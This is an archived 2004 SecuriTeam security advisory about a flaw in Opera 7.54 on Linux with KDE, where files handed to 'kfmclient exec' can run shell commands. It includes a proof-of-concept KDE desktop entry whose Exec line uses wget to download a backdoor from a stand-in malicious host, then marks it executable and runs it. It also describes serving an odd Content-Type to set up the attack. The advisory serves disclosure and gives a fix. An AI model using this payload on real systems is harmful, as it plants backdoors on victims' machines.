

[UNIX] Opera Remote Command Execution with Kfmclient

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0077.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/22/04

To: list@securiteam.com

Date: 22 Dec 2004 12:11:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Opera Remote Command Execution with Kfmclient

SUMMARY

<<http://www.opera.com>> Opera is "a multi platform web browser. Opera includes pop-up blocking, tabbed browsing, integrated searches, E-mail, RSS Newsfeeds and IRC chat".

Opera for Linux uses "kfmclient exec" as "Default Application" to handle saved files. This could be used by malicious remote users to execute arbitrary shell commands on a target system.

DETAILS

Vulnerable Systems:

* Opera version 7.54 on Linux with Kde 3.2.3

Opening an unknown content type on the web using kfmclient exec could be used to open a "Kde Desktop Entry". A desktop entry can include shell commands in the 'Exec=' directive, and therefore run arbitrary code with the user's privileges.

Possible method of Exploitation:

Securiteam: [UNIX] Opera Remote Command Execution with Kfmclient

This method of exploitation needs that a particular file name extension is used. If page.Htm is used as file name and "kfmclient exec page.Htm" is opened, the command in "Exec=" entry will be executed. Instead, If "page.htm" is used as file name, it will not be opened like a "kde desktop entry" but it will be viewed in Konqueror. It works also with Jpg,Gif etc., but not with jpg,gif..extension, since the system is case sensitive.

Attack scenario:

A user clicks on a link which requires

<http://example.com/malicious/image.Jpg>

The server responds with an unknown Content-Type field, for example Content-Type: image/Jpeg. (note the dot at the end), so Opera will show a dialog window.

If a user chooses "Open" to view image.Jpg, it will be opened by "kfmclient exec" command, since kfmclient is the "Default Application"

Image.Jpg is a kde desktop entry:

```
# KDE Config File
[KDE Desktop Entry]
SwallowExec=
SwallowTitle=
BinaryPattern=
MimeType=
Exec=/bin/bash -c
wget\thttp://malicious_site/backdoor:chmod\t777\tbackdoor;./backdoor
Icon=
TerminalOptions=
Path=
Type=Application
Terminal=0
```

Note: \t is an horizontal tab. In this case a backdoor will be downloaded on victim's computer and executed.

Solution:

Disable "kfmclient exec" as default application

ADDITIONAL INFORMATION

The information has been provided by <mailto:badpenguin@zone-h.org>
Giovanni Delvecchio.

The original article can be found at:

<<http://zone-h.org/en/advisories/read/id=6503/>>

<http://zone-h.org/en/advisories/read/id=6503/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[UNIX] Opera Remote Command Execution with Kfmclient

Securiteam: [UNIX] Opera Remote Command Execution with Kfmclient

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.